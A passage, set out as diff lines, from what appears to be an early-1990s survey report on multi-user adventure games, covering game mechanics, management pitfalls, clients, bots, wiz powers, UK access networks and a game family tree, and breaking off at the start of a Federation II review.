room. + 5) Check through all other objects in the contents property list of the + first room: for any that represent a player, send the message + " has left." to that player's front-end, where is a + string property associated with the persona of the player who issued + the command. + 6) Check through all other objects in the contents property list of the + second room: for any that represent a player, send the message + " has arrived." to that player's front-end. + 7) Send to the front-end of the player who issued the command the + description property of the second room. + + From this example, it can be seen that MUAs are really little more than +a framework of discrete objects which players can manipulate by commands, with +an additional facility for persona-directed message-sending. In a +well-designed game, the ways in which objects can be manipulated bear a close +resemblance to the real world, so that when a player uses a command like "drop" +the result can be predicted relatively easily. Poorer games may not allow +objects to be handled in ways that one might expect they should be, eg. it +might be impossible to place one object inside another. Some MUAs are +underconstrained in this respect, eg. you can place a large object inside a +smaller one. + + In addition to objects representing players and rooms, there is a third +category of special object in many games, 'mobiles'. These objects represent +"intelligent" inhabitants of the MUA's environment, but rather than being +controlled by players, instead they act under the instructions of the game +itself. At worst, this means they act mindlessly, moving around on a fixed +course and attacking things at random. At best, they can communicate, pick up +and drop objects, and have at their disposal the full set of commands available +to "real" players. + + To become games, rather than clever but boring world modelling systems, +players have to be given a goal. The commonest way to implement this is by +associating with players a score property that can be incremented if the player +performs the right series of actions. Normally, this involves seeking out +objects designated as treasure, and depositing them in some given location. +However, in most games such points can also be gained for solving puzzles, or +for winning fights against mobiles or other players. When players have +accumulated enough points, they go up a level of experience, and gain more +powers. Reaching the final level is the overall goal, and at that stage powers +are granted which are so considerable that the player can use them to change +the very character of the game, hopefully to its benefit. This top level is +usually 'wiz' (short for 'wizard/witch'), but recently the word 'god' has +become increasingly popular in newer games whose authors want to emphasise the +rewards of reaching the top. There is sometimes an 'arch-wiz' level, which is +invitation-only and used for game-management purposes. + + Fighting is part and parcel of most MUAs, although some deliberately +omit the concept, either for programming reasons, moral reasons, or both. In +fights, a player or mobile attempts to cause damage to another player or +mobile. If more damage is given than the victim can receive in total, then the +fight finishes and the victim "dies". What happens to their persona then +depends on the game: it is either eliminated, or it is allowed to return (but +usually at a lower points total). The loser's fate may also depend on who +started the fight. Fights proceed either automatically, with blows occurring +until one player flees or is killed, or on a blow-by-blow basis. The former is +fairer in fights against players with fast comms links or against mobiles, but +the latter is more realistic. + + The concept of the 'reset' is central to many MUAs. With several people +in the game, puzzles will rapidly be solved and objects swiftly removed from +play. After a time, there is nothing left to do. At this point, the game +resets, ie. it starts afresh, with only players' personae remaining as they +were previously. Doors that were opened are closed, dead mobiles are +resurrected, and objects are arranged in their original places. In some games, +players can continue to play earlier sessions until they quit, and in others +everyone is ejected. With 'rolling resets', objects are replaced individually +without disrupting the flow of the game. Although this is less harsh on the +players, it can make planning your future actions difficult, and the game is +usually lacking in complex puzzles as these can be hard to invert. Games that +don't have any sort of reset either exist around the concept of performing +quests of some kind, are primarily for building your own worlds, or are +incredibly boring to play. + + A recent trend has emerged for MUAs which do not place much emphasis on +puzzle-solving, but instead focus on world-design issues. Players are allowed +to add rooms and objects (rarely commands) indiscriminately. Other players +then explore these areas. Little goes on here that could be called "gaming", +and the whole exercise can be seen as a means of providing common subject +matter for people to talk about in what is really just a thinly-veiled +chatline. Nevertheless, there are conventional MUAs where object-creation by +wizzes is encouraged as a means of providing new and original puzzles for +non-wizzes (mortals) to solve. As this is a post-MUD1 concept, however, most +of the older games and their descendents are not specified highly enough to be +able to implement it. + + Since they are all descended from MUD1, MUAs have a common core of +commands, the following of which are the bare minimum necessary: movement +commands, 'get', 'drop', 'quit', 'say', 'inventory', 'score' and 'help'. Most +also have 'kill', although some do not (by design). + +2.3 Managerial Aspects. + + Running a MUA is not simply a case of mounting a game on a computer and +inviting all-comers to play. MUAs arouse such emotions in their players that +they will often resort to lying, cheating and vitriolic abuse to achieve +whatever goals they have set themselves. Many games have suffered from poor +management; what seems good in the short term can have serious long-term +consequences concerning the game's playability and its attractiveness to +players. + + As well as the rules which are encapsulated by what the game will allow +players to do, MUAs also have a set of (usually unwritten) rules that define +the boundaries of reasonable behaviour. Although some MUAs may allow swearing, +for example, others will not. Many MUAs disallow a practice known as +'looby-looing', where one persona takes all the risks to gain points for +another persona (normally owned by the same player). MUAs with fighting will +generally take a grim view of players who 'pslam' (ie. hang up the phone) +during combat. When people reach wiz level, they have powers to harass and +victimise mortals beyond all endurance, and should keep themselves in check. +What happens if they don't, though? Should they be punished? If so, how? + + Answering these questions is the essence of game management. Good +managers with years of experience behind them are rare in MUAs - most new MUA +managers have little or no idea of this aspect of the game when they start up. +Once they have gained the required expertise, it's often too late to do +anything about it, especially in a pay MUA where customers would lose the +results of years of effort were the persona file to be reinitialised (the last +resort!). + + Although under-management is the most common fault in MUAs, +over-management (when it happens) is worse. The consequences of accusing +innocent players of doing things they haven't will drive away more players than +will allowing a guilty player to play unchallenged. + + It is beyond the brief of this report to go into details of how a MUA +should properly be managed; it is sufficient to point out that games can be +wrecked by the antics of the people in overall control (however well-meaning +they are). To give some flavour of what can and does go wrong, though, here is +a list of common mistakes: + + - Granting too much power to inexperienced people. Players who are + given the ability to interfere with other players without fear of + repercussions will do so unless they have learned already the full + consequences of such actions. + + Usual cause: too few points required to reach wiz. + + - Giving too much power to stupid people. As above, except that the + player is too dim to realise they're doing wrong. Sad, because some + dim people plod on for years striving to make wiz. + + Usual cause: no way for non-stupid people to eliminate the stupid + people, eg. death by fighting. + + - Reinstating people who "lose" points through no fault of the game's. + What happens is that people take advantage, claiming for "lost" + points they never had in the first place. Points should only be given + back if they were lost through a game fault, and then only if a small + number of players were affected. + + Usual cause: belief that no-one would lie to you. + + - Failing to remove persistent offenders. If you allow disruptive + elements to continue playing, they'll just push the limits of + acceptable behaviour back even further the next time. Getting rid of + one bad guy and ten hangers-on will net more good guys in the long + run. + + Usual cause: giving "one last chance" too often. + + - Favouring some players over others, and letting them off when they + make a mistake because you know they didn't mean it, or they're + friendly, or they were drunk, or they have twenty messages of support + from friends. The majority of players may remain silent, but they + won't forget the inconsistency when you hammer someone else for + committing basically the same offence. + + Usual cause: believing the flattery of others. + +2.4 Scenarios. + + MUAs implement an imaginary world. There are no constraints on this at +all, except those imposed by the operations allowed on the database and the +objects the database can represent. + + MUD1 was set in a fantasy environment, ie. a vaguely medieval world +where magic works and dragons are real. Most of the first generation of +lookalike games stayed in the genre, partly because the authors liked that kind +of game (or they wouldn't have played MUD1), and partly because MUD1 could be +used as a source of ideas for commands, spells, monsters and so forth. + + As MUD1 was interpreted, it was possible to use the same shell to +interpret alternative databases, and experiments were done into other domains. +These included ITV's Fraggle Rock, Essex University's computing department, +various aborted science fiction worlds, and more assorted fantasy environments. + + Nowadays, although fantasy still predominates, MUAs are set in the +whole range of scenarios popular among face-to-face role-playing games players +(cyberpunk, 1920's Lovecraftian horror, Arthurian Britain) plus others beside. +Some of the DIY-style MUAs have all of them together in a colourful tapestry +(or hotch-potch, depending on your degree of cynicism) of intermingled milieux. + + The setting of a MUA is one of the most important things about it. In +choosing between two competing MUAs, players will select the one with the +atmosphere they like the best, be it a gloomy, dark future, mystique-laden high +fantasy, or dreamy spirit-world. Although the other players contribute greatly +to this, the primary source of atmosphere is the game itself. For text-based +MUAs (which almost all are), the impact of well-written room and objects +descriptions on new players cannot be understated. However, writing these +descriptions is no easy thing - an average sized game can easily have a novel's +worth of material embedded in the way it describes locations. + +2.5 Clients. + + Although they are not strictly part of a game, clients can greatly +enhance its attractiveness to players. Authors of these programs command +respect from the MUA-playing community commensurate with that of MUA authors. + + Clients are programs that are run on the front-end of a MUA, and their +purpose is to make playing the game easier. They are basically comms programs, +and although they preponderate in the academic MUA world, nevertheless there +are clients for commercial games. Usually, a client is written specific to one +MUD, but some function adequately with others. + + As well as basic i/o and network management, clients let you do things +like: + + - gag a player (not print any lines containing that player's persona + name) + - highlight a player (print that player's persona name in reverse video + or a stronger colour) + - log all i/o to a file for later perusal + - define macros, so a few keystrokes can expand into a longer command + string + - load files and transmit them as if they had been typed directly + - perform screen functions, directing text of different origin to + different windows + - log in to a MUA automatically (sometimes also concurrently) + - set trigger commands to be executed automatically when a given event + occurs + - use command buffering to pull back previous command lines, edit them + them, and transmit them to the MUA + - repeat commands any number of times + - fork a shell process to gain access to the operating system + + Clients can also be used to do sound effects and graphics, but are +always MUA-specific in such cases. + +2.6 Bots. + + Bots ("robots") are programs which play MUAs using the same interface +as players. Like clients, they are not part of the MUA per se, but their +programmers are considered important individuals in the MUA field. Apart from +some experimental versions in the commercial sector, all present-day bots run +on academic MUA sites. On the face of it, bots are indistinguishable from +players, although from their reaction to events and communication they can +invariably be recognised for what they are. Bots predominate on MUAs which are +not sophisticated enough to have intelligent mobiles, however in the future +there may be some mobiles that evolve into bots so they can be run on another +CPU. + + Bots are not as popular now as they were at first, because after the +novelty wore off they lacked any real lustre, and people became bored with +them. Also, they tend to crash the (surprisingly fragile) academic MUAs upon +which they run, and can generate lots of background "noise" that irritates +players. When several bots were run at once on individual MUAs, that also +angered human players. + + Bots are usually able to perform the following types of action: + + - mapping + - reaction to keywords + - the registering and forgetting of players over time + - liking and disliking players + - obeying commands from authorised players (including repeat-until + commands) + - the ability to log data to disc + - the ability to give help to players + - movement + - the creation and use their own macros + - communication with players (usually not too well, but sometimes using + an expert system interface) + +2.7 Indicators. + + To compare MUAs against one another scientifically, some means of +assessing their strengths and weaknesses in important areas must be +established. It is beyond the scope of this report to suggest a formal +approach to this; however, the main parameters by which a MUA is commonly +judged should be expressed, so as to help place the reviews of individual MUAs +in a wider context. + + When considering a MUA, then, experienced players and reviewers look at +the following indicators: + + 'Breadth' + + The breadth of a MUA is the extent to which it is able to deal with +things the players want to do. If a game has trees and an axe, then it is +reasonable to assume that players will attempt to fell the trees. Likewise, if +it has water then players will try to swim, and if it has a spade they will try +to dig. They will also try to write, sing, throw, sleep, and perform similar +"reasonable" actions. The more commands a game is able to cope with, the +greater its breadth. Giving a stock "I don't understand that" or "You can't do +that" response shows a lack of robustness. Games with the greatest breadth +cover eventualities most players would never consider, such as trying to open a +door with a skeleton, trying to read a "guardian" mobile as if it were a +newspaper, or hitting a sack and expecting to fall asleep. + + 'Depth' + + Depth expresses a sense of the level of detail to which a MUA descends; +it is sometimes called 'sophistication'. It is a dependent upon the physics of +the world which the MUA manages. Games with good depth generally treat objects +in a way which approximates the real world. Games with bad depth will omit +certain concepts, or misimplement them. Dropping a glass object on a hard +surface "should" break it (unless there's a game-related reason why not, eg. +it's magic); dropping it on a soft surface "shouldn't" break it. Placing a +small box inside a sack "should" be allowed; placing it inside a sack which the +box itself contains "shouldn't" be allowed. + + 'Selective depth' is where the system can handle a concept when applied +to one kind of object, but not to another. For example, rooms may be able to +contain objects, but boxes might not; players may be able to carry objects but +mobiles might not; a box may be able to contain another box, but not if that +second box contains another object; players may be able to enter a vehicle, but +not drop things into it from outside. Selective depth problems are usually +caused by omissions in the initial design of a MUA or by having parts of the +database designed by different people. + + All MUAs are based on discrete objects, and are consequently pressed +when obliged to represent continuous quantities such as fluids. Most MUAs can +handle containers, but almost all MUAs are unable to model what happens when a +jug containing 5 litres of water is poured into a bowl with a 3 litre capacity. +Likewise, it is beyond the definition languages of most MUAs even to express +concepts like temperature or density, let alone provide a working ontology. + + Another representational problem concerns compositionality. If 1,300 +matchsticks have been made into a model of the Eiffel Tower, and 700 are +removed, does that leave a 600-matchstick model? What if 1,299 were removed? +What if only 1 was? What if the matchsticks were made into something else? +Even the best MUAs have tremendous difficulty in this area, and it is therefore +either avoided completely or simplified by use of a "make" command that only +works with certain other objects as ingredients. + + Since the idea of rooms is central to MUAs, there is often a problem +with things that happen across room boundaries. Line-of-sight is hard to +implement, as are determining the direction from which distant noises come, +representing smoke or weather that covers a wide area, and inclusion of "small" +rooms that can only hold a certain volume, eg. inside a grandfather clock. Some +MUAs are (co-ordinate) point-based rather than room-based, which makes +directional calculations easier, but they have related problems in dealing with +objects larger than the granularity of the points. + + MUAs with great depth can suffer if too much detail is given to the +players. Players do not like being asked over which joint of which finger of +which hand they wish a ring to be placed. They don't like being informed of how +many petals there are on the flower they have just picked, nor do they want a +400-line description of the painting they are looking at. If a MUA deals with +details, it should only bring them to the attention of players when it is +important to do so (either for breadth or puzzle-solving reasons). Detail for +its own sake is tedious. + + 'Size' + + The size of a MUA is easy to gauge in terms of raw data: it is the +number of rooms (or locations) that the MUA contains. This can be deceptive: a +MUA consisting of a 100 by 100 grid can claim to have 10,000 rooms, however if +it did then it would need a a large number of players to populate it - even 50 +players wouldn't meet each other often enough to promote the interaction that +makes MUAs such fun to play. In reality, point-based MUAs actually have an +interaction radius that makes "nearby" players able to see and hear one +another. On a 100 by 100 grid, an interaction radius of 5 would bring the +effective number of rooms down from 10,000 to around 400. + + Some of the world-construction MUAs do actually have thousands of rooms +in the conventional sense. Even though they have large numbers of people +playing simultaneously, they are nevertheless sparse. Unless players can easily +find out where other players are located, and can easily get to those +locations, these games may as well be single-user. + + There are other factors determining the feel of how big a game is, such +as the mean distance of rooms from the start, and how many people play at once. +These are flexible, though, and for a commercial MUA any figure from about 200 +rooms to 1,000 will probably be OK. New games that boast thousands of rooms are +not, on the whole, to be taken seriously. + + 'Parser' + + The format of commands acceptable to a MUA is important, as it is the +only means by which players can describe what they wish to do in the game. The +part of the MUA which converts input into a form that the game can execute is +the parser. The absolute minimum requirement is that , +and are catered for. + + Good parsers allow adverbs, and will fold these and prepositions into +the verb to produce a new verb: the sentence "go west quickly" might, for +example, convert into the tuple run/west; "put the apple in the box" might +convert into insert/apple/box. Similarly, good parsers allow adjectives to +apply to nouns, as in "get the gnarled stick". + + In commercial MUAs, where speed is of the essence, a good parser will +make life easier for players by accepting abbreviations ("k z w ls" - "kill the +zombie with the longsword"), and by allowing players to define their own +abbreviations (synonyms) and macros. Easy ways to repeat commands are also +common (eg. "w.." to mean "go west twice"), as are pronouns (eg. "tickle him" +instead of "tickle Aloysius"). + + These syntactic features can easily be incorporated into a client, +rather than be part of the parser. However, clients can not help at the +semantic level. Some commands imply things by their use which are not stated +explicitly. The simplest example is the implied string ("say this is +interesting" instead of "say 'this is interesting'"), but there are also +implied objects ("open door" meaning "open the door using whatever key I'm +holding that fits") and implied bindings ("drop weapon" meaning "drop the +weapon I'm holding, not the one on the floor"). + + 'Binding' is the process whereby a parser ties a noun to a set of +specific objects, and it functions best when there is a classification +hierarchy defining a partial order over all objects. For example, if a spoon +is of type gold, and gold is of type metal, and metal is of type solid, then +any of "drop spoon", "drop gold", "drop metal" or "drop solid" will drop the +spoon, along with other objects of the class named. Most older MUAs do not +have a classification hierarchy, but, with the advent of object-oriented +programming, many newer ones do. + + 'Players' + + A powerful reason for playing a MUA is the quality and quantity of the +other players. Indeed, for some MUAs that's the only reason to play them - the +games are otherwise void of redeeming features. + + The first metric to use when assessing players is their number. There's +a minimum population for every MUA, below which the game is not sustainable and +will die. This varies for each MUA, but if you play for extended periods and +see few other players, the chances are that it needs an influx of newcomers to +survive. Games that aren't intrinsically much fun to play need a larger user +base than those that are, if they're to remain viable. Any game on a large +network is likely to be popular if it has no challengers. + + After number, the type of player is worth considering. MUAs which are +played mainly by teenagers are more likely to be violent and acrimonious than +those played mainly by adults in their thirties. Although it is true that +certain scenarios will attract a given type of player and others will not, and +that therefore the type of players are really only a reflection of the design +of the game itself, this does not always follow: an expensive game will tend to +be played only by people with sufficient disposable income, and would thereby +effectively disqualify students from it. The gender of players is also a good +indicator of how a game will be played: if there are more of one gender than +another, eg. 10% female to 90% male, then gender tends to matter little; with a +more even distribution, eg. 45% female to 65% male, games can rapidly become +little more than dating agencies if improperly managed. In almost all cases, +there are more males than females who play a MUA (that's in real life: the +gender of the persona a player is controlling does not have to be the same as +that of the player). + + A further signal that a game might be less entertaining than it should +be is the wiz/mortal ratio. If there are more players with game-altering +powers at their disposal than there are without, playing as a mortal can be +hell, with constant interference from above. It also devalues the overall goal +if there are so many wizzes that it seems "anyone" can become one. Top-heavy +games are hard to deal with, because once players have reached wiz level it is +often impossible to remove them without causing even worse problems. + + Finally, if you really want to know what a MUA is like, the players are +the best way to find out. Just ask them. After a few minutes of conversation, +you'll have learned more about the MUA than hours of playing would ever tell +you. + + 'Role-playing' + + Many MUAs make a big thing out of being role-playing games. Strictly +speaking, such a game is one where players choose a personality other than +their own, and try to behave in character all the time. Theoretically, then +the more freedom players have to define their personae, the better suited a +game is for role-play. However, in practice the term is often used to refer to +games where there are strictures on what a player may or may not do - enforced +role-play. Thus, games with character classes, alignments, skill levels and so +on are usually understood to be role-playing in nature. In MUAs where there is +freedom to act however one chooses, "I was only role-playing" is more often +heard as an excuse to justify antisocial behaviour that the player regrets, eg. +viciously attacking someone else. + + The role-playing issue can be looked on as a distinction between +'hidden depth' and 'open depth'. A game with open depth (lots of fussy, +detailed information made available to the players) looks more impressive on +the face of it than one with hidden depth (players have to find out things for +themselves). Although the former are exciting to newcomers, the latter are +more rewarding in the long term. + + 'Wiz Powers' + + Wiz powers are those command which (normally only privileged) players +are able to use on other players, and against which there is no defence. Such +powers are important for two reasons: the desirability of earning the right to +wield them is an important early driving force for mortals; they allow wizzes +to mould the game to their own personality, enriching it and helping it to +evolve. + + There is less consistency in the naming of wiz commands than there is +for normal commands. This is because people who write their own MUAs have not +always reached wiz level in another MUA, and are thus unaware of existing +conventions. + + Having wide-ranging wiz powers is usually a good thing, although having +too few can be a blessing in disguise for games with an over-large wiz/mortal +ratio. Most MUAs strive to provide a comprehensive range of powers for their +wizzes, although many of the most potent wiz-only command often require +facilities which the implementation is unable to deliver. Among these are: + + - 'snooping' + Being able to copy someone else's textual i/o to your own machine, + while continuing to play yourself. Multiple snoops are where several + people can be watched simultaneously. + + - 'attaching' + Being able to control another player or mobile using normal commands, + receiving incoming text from their point of view as if you were + playing them yourself. A lesser ability is 'dubbing', where your + speech appears to issue from the dubbed object, but otherwise your + commands refer to your own persona. + + - multiple levels of invisibility + Not all games offer a means for players to disappear from the view of + others, but some do. Of those, few permit selective invisibility, + where one category of player (eg. mortals) cannot see you, yet + another (eg. wizzes) can. + + - object creation + The ability to manufacture arbitrary objects, rooms, mobiles, + whatever, and place them in the game. These additions may or may not + be permanent. Some games allow anyone to perform such feats, notably + in the academic sector. + + - command definition + Like object definition, but commands can be added. Very dangerous, + in practice, because commands are, in effect, programs, and can thus + crash, hang, hog the cpu, and perform arbitrary alterations to the + game's data structures. Be wary of playing any new game offering this + facility until you obtain cast-iron assurances that it's safe. + + - 'proofing' + The ability to display arbitrary messages on players' screens which + they cannot distinguish from those the game itself would send. + Sometimes called 'illusion'. Primitive proofs are commonly available, + but multi-line proofs are uncommon, as are proofs which are sent + selectively to either individual players, players in one location, or + players satisfying some audio-visual requirement (eg. players who + are in the dark should not receive messages telling them that a + butterfly is fluttering by). + + - 'FODding' + The ability to delete a persona from the game, completely. Sometimes + known as 'blotting' or 'toading'. "FOD" stands for "finger of + death". + + - 'teleporting' + The ability to move to an arbitrary location. Can be extended to + allow the movement of any object from one locale to another, although + this can cause problems without the proper checks (objects that are + allowed to contain themselves can readily cause crashes). + + - 'pre/post-fixing' + Being able to change the way in which players are described. Some + games allow players to do this themselves, which can have depressing + results... + + - 'tinkering' + Having the capacity to change anything in the game whatsoever, akin + to poking a Basic program. Very dangerous, and if it's offered to + more than a handful of trusted people it will speedily render a game + unplayable. + + As a postscript, the presence of some wiz commands can greatly +influence the way a game is played and managed. In particular, if nowhere is +safe from the snoop command (or any form of logging), this greatly discourages +people from indulging in imaginative sexually-oriented talk, and thus makes +such MUAs more acceptable to the parents of younger players and to moral +guardians. + + 'Age' + + The length of time a MUA has been around can reveal a great deal about +it. First, it obviously works, and is likely to be relatively free of bugs. It +is therefore stable. However, unless it is frequently updated with new features +and puzzles, it also runs the risk of being stale. Furthermore, if it has a +comparatively fixed-size user base then it can saturate the market, ie. +everyone who is going to try it has now done so. Old games also tend to be +unable to cope with the latest advances in MUA technology, and become +fossilised. + + New games, on the other hand, are likely to be unstable yet fresh, and +can revitalise a user base that another MUA has saturated. New MUAs will often +contain experimental features unavailable in most other games, but if they're +the authors' first attempt at a MUA then they can still be fossilised, albeit +in a more contemporary setting. Only MUAs that are complete rewrites of an +earlier version are usually able to keep up with future developments, since by +then the design team has acquired a degree of awareness of the generality +needed to maintain and improve upon their MUA. + + The ideal situation is where an old yet second-generation MUA is given +access to either an untapped user base or one which existing MUAs have +saturated. + + 'Gameplay' + + A defining characteristic for a MUA is its gameplay. What's the overall +goal, and how do you reach it? Is there a hierarchy of player levels? Do +personae gain powers as they advance? Is there fighting - and what happens to +losers? Do the environment and command set promote socialising, combat, +puzzle-solving or puzzle-designing? + + Implicit in the way a game interprets players' commands is a set of +"rules" that decree what the game will allow, and what activities are favoured. +These should support the game scenario, and not get in the way. For example, a +game with fifteen different character classes and complex procedures for +training to acquire weapon and spell skills may go well with a "city-state" +scenario where there exists a complex society and a legislature; however, it +would get in the way of a "wandering knights battling dragons" scenario. +Players should really be able to do what they want, and if the game prevents +them then there should be a sound reason for it. New games announcing that +players can be elves, dwarfs, trolls, bunny rabbits and so on have to be able +to justify why these different types are present. Artificial constraints ("if +you want to be a magic-user you can't be a troll") may give a veneer of +attention to detail, but rarely does it ever make much difference. + + One often-overlooked aspect of a MUA is its treatment of newcomers. It +is not good for a novice to join a game, have no idea how to talk to people +(and be unable to find out), and to wander around for half an hour and not see +anything that could be picked up. Ideally, there should be some mechanism to +ensure that even when a game is near to being played out of points-giving +objects and puzzles, novices should still be able to find something. There +should be on-line help, and it's desirable to have the game provide unsolicited +hints if it is advanced enough to recognise when a player is having trouble. +For commercial games, a guest account should be provided, and game +walk-throughs (or, if undertaken interactively, 'tours') ought to be available. +Rules and regulations should be kept to a minimum - a daunting 100-page booklet +describing how to play the game may be intended to impress with its depth, but +it's more likely to scare off new players in the long run. + + Gameplay is immensely important, but only to people who play primarily +for gaming reasons. Compare MUAs with board games: "real" boardgamers look at +the rules, decide on strategies, try them out, and play to win; "occasional" +boardgamers don't care much for game realism if that means lots of rules to +learn, and they only indulge in games on social occasions, not really caring +whether they win or lose. MUAs can be geared to be suitable for either serious +or trivial users; the best MUAs can cater for both. + + 'Atmosphere' + + Finally, in judging a MUA there is the crucially important but +frustratingly intangible quality of atmosphere. The scenario, the room and +object descriptions, the events that occur, the things the players say, all add +up to a background feeling that dictates the mood of the game. + + It is difficult to determine whether a game truly has atmosphere +without playing it for some time, however there are some things to watch out +for which are certainly not conducive to it. + + A good sign that a game will lack atmosphere is shoddy descriptions. +Misspellings, poor punctuation, incorrect grammar, tortuous phrases that +dismally fail to promote the feeling of brooding terror that its +thesaurus-wielding author hoped they would - all these interrupt the flow of +narrative and bring the player momentarily into the real world instead of that +of the game. Other signals are improper articles ("a ox", "a water"), bad +gender possessives ("Susan taps you with his bat") and numbered objects ("There +is a rat22 here"). + + Subject matter plays a part. A wrecked pirate ship with a vacuum +cleaner in the hold may be supposed to be funny, but it will jar on players' +sensibilities. If players have the ability to add things to the game without +their creations first being checked out for consistency by someone with +editorial control, there is a very good chance that any overall sense of +atmosphere or mystique will be completely non-existent. + + Different games have different atmospheres at different times, and the +same MUA may cycle between murderous hack-and-slay and jovial +sweetness-and-light every six months. Something to beware of, though, is the +MUA which radiates joy and kindness all the time: this is usually imposed on +players in dictatorial fashion from above, in "you will be nice!" style. Since +no-one can possibly get on with everyone else forever, a seething mass of +hatred builds up, and when it bubbles over there are terrible recriminations. + + Games can have their atmosphere disturbed by external factors, such as +an uncertain future or a price rise, and almost every MUA has its prophets of +doom who will tell anyone willing to listen that the game has gone downhill +since the "fun" days of yesteryear, and it's only a matter of time before it +keels over. Reviewers who are talking to players should be ready to hear this +kind of morose rambling, and only give it credit if it is substantiated in +talks with others. + +3. Reviewing Strategy. + +3.1 Review Format. + + The meat of this report is a series of reviews of MUAs currently active +in the UK. Each review commences with a header giving facts concerning the +game under consideration - its name, its authors, its commercial status, and +how to access it. + + Following the header are historical notes, presenting background +information on the game, and a brief description of its setting. After that +comes the main body of the review, where the game is discussed in some detail. + + Although the reviews have been written as objectively as is reasonably +possible, naturally some subjectivity will inevitably creep in. To counteract +this eventuality, brief quotes from reviews in magazines and from players will +also be given (if available). All the quotes are unsolicited. + + In order that some impression may be given of the overall importance of +the game in the IMPCG industry, the review header also includes a grading which +is purely subjective. Games will be rated as being in either the first, +second, or third rank; first rank is most important. This grading is based on +an assessment of the impact which the game has had on the MUA-playing +community. It therefore does not follow that the "best" games are necessarily +of a higher rank than lesser ones. + + After the reviews of UK games, there follow reviews of MUAs from the +rest of the world. The same approach is taken for these as for UK games. A +handful are commercial, and these appear first; the rest are on academic +machines, and for these no pricing structure is given (they are all free). +Their importance is relative to other games in the same category. + +3.2 Accuracy. + + Although every attempt has been made to be accurate in the reviews, +they are not guaranteed correct. This is because information supplied by the +game designers is often out-of-date, over-optimistic, or contains outright +lies. Likewise, many semi-professional reviewers in magazines have little or +no idea what they should be (or, indeed, are) looking for, and will give +anything good or bland reviews so as to elicit future advertising revenue from +the flattered game author. + + Since some of the information stated in the reviews in this report come +from such sources, it is possible that they contain errors. Where possible, +however, facts have been verified independently. Opinions expressed in the +review, however, while primarily the review author's, are grounded in either +personal experience or statements made by a number of players or reviewers. + + Some of the later quotes that are given in this report are solicited, +but as the result of general questions (eg. "How do you think MUAs should be +made more widely available") rather than specific ones ("What do you think +about Shades' lack of containers?). Most quotes, however, are from public +access sources that anyone can read, such as bulletin boards, NewsNet, magazine +articles and publicity material. They therefore appear here without the +permission - or indeed the knowledge - of their originator, who may regard them +as too out of context to reflect their intended meaning. + +3.3 Locations. + + Included in each review is an indication of how the game can be +accessed. Some games run on the same system as others, and their location is +indicated by specifying the name of the appropriate system. Most games operate +at 1200/75 baud, 8 bits, 1 stop bit, no parity, but a good many can handle +other baud rates too. + + For some of the academic MUAs there are many copies of the games +sprinkled across the networks. All these have their own local name to +distinguish them from other systems running the same software. The reviews of +these games concern the general software, however local versions are listed +along with the address at which they can be reached. As a guide to the +countries in which these lie, consult the last section of the address: + .au Australia + .ca Canada + .dk Denmark + .fi Finland + .nl Netherlands + .se Sweden + .uk United Kingdom +Anything else is assumed to be America (the .edu selector means "educational +establishment"). + + Systems supporting more than one MUA are: + +Name: CompuNet +Phone: Pre-game registration required, call (081) 997 2591 voice +MUAs: Federation II, Realm +Comment: + Long-running but troubled network, originally backed by Commodore and +carrying MUD1. After staff buy-outs, its future now seems more secure. Still +caters primarily for users with Commodore hardware. Users pay to play. + +Name: CompuServe +Phone: Pre-game registration required, call (0800) 289378 +MUAs: British Legends, Island of Kesmai, Sniper, Megawars 1, + Megawars 3, You Guessed It! +Comment: + Largest user base of any commercial network in the world (around +1,000,000 users). Very expensive by UK standards. Recently began a UK +publicity drive. + +Name: Essex University +Phone: PSS A2206411411 +MUAs: MIST, Rock. +Comment: + Site of the original MUD1 game and many other MUAs using MUD1's +interpreter (Valley, Crud, Blud, Uni). About to lose all its MUAs because the +hardware upon which they run will shortly be scrapped. + +Name: InterNet +Phone: Not available +MUAs: TinyMUD, AberMUD, LPMUD, UberMUD, TinyMUCK, TinyMOO, many more. +Comment: + An international network of (mainly Unix) computers primarily used by +research institutions (Universities and large companies) for electronic mail. +It carries daily updates of public messages on a wide range of topics, +rec.games.mud being the one of main interest to MUA players. Free to users. + +Name: IO World of Adventure (IOWA) +Phone: (0883) 744044 and 744164. +MUAs: MirrorWorld, Parody, Quest, Empyrion, Chaos World of Wizards. +Comment: + Made an attempt this year to run commercially, but its players deserted +it and it had to back down. Free at present, and a popular place to meet and +chat. A local call from London. + +Name: JANet +Phone: Not available +MUAs: AberMUD, TinyMUD, MIST. +Comment: + The main UK network for research institutions. Linked to InterNet. +Free to users. + +Name: Lap of the Gods +Phone: (081) 994 9199 +MUAs: Gods, The Zone, Future Life, TinyMUD. +Comment: + Long-standing system, has its own particular clientele. Users pay to +play. + +Name: Prestel +Phone: Consult BT for your local number +MUAs: Shades, Trash. +Comment: + Large user base, and prices to match. A local phone call from almost +anywhere in the UK. Shades and Trash can be played for free on a development +machine at (0342) 810905, but be prepared for sudden surprises, eg. text in +french. + +Name: Synergy +Phone: (081) 968 0333 +MUAs: Avalon, The Spy. +Comment: + New system, having started this year. Small user base at present. Users +pay to play. + +3.4 Genealogy. + + This diagram shows the family tree of MUAs (where parenthood is known). +Children are listed alphabetically rather than in order of appearance, because +time of birth is difficult to establish for most of the games. + + MUD1 + | + +-------AMP + | + +-------Federation II + | + +-------Gods + | | + | +-------Future Life + | + +-------MirrorWorld + | | + | +-------Empyrion + | | + | +-------Mosaic + | | | + | | +-------Avalon + | | + | +-------Parody + | | | + | | +-------Prodigy + | | + | +-------Quest + | + +-------MIST + | | + | +-------AberMUD + | | + | +-------LPMUD + | | | + | | +-------DUM II + | | + | +-------TinyMUD + | | +-------Cthulhu + | | | + | | +-------Midgaard + | | | + | | +-------SMUG + | | | + | | +-------TinyMUCK + | | | | + | | | +-------TinyMOO + | | | + | | +-------TinyMUSH + | | | + | | +-------UberMUD + | | + | +-------YAMA + +-------MUD2 + | + +-------Rock + | + +-------Shades + | | + | +-------Bloodstone + | | + | +-------Sector 7 + | | + | +-------Trash + | | + | +-------Zone + | | + | +-------Void + | + +-------VaxMUD + | + +-------Wanderland + +4. Reviews - UK. + +4.1 Federation II. + +Name: Federation II +Importance: 1 +Author(s): Alan Lenton ("Bella") +Location: CompuNet +Pricing Structure: L1.50/hour plus + L12 flat quarterly fee + +Brief Description: + SF, interplanetary trading/exploration game. + +Historical Notes: + The Multi-User Galaxy Game project was begun in 1985 by CompuNet as a +SF alternative to MUD1, which then ran on the system. When the other +programmer left CompuNet, Lenton rewrote the game from scratch as Federation +II. It was officially launched on CompuNet in 1989; reported also to run on +MicroLink, and on any other commercial system willing to take it. + +Review: + Federation II (known as Fed to its players) is a departure from the +conventional form of MUA. Rather than being based around the accumulation of +context-independent points, it is instead concerned with money 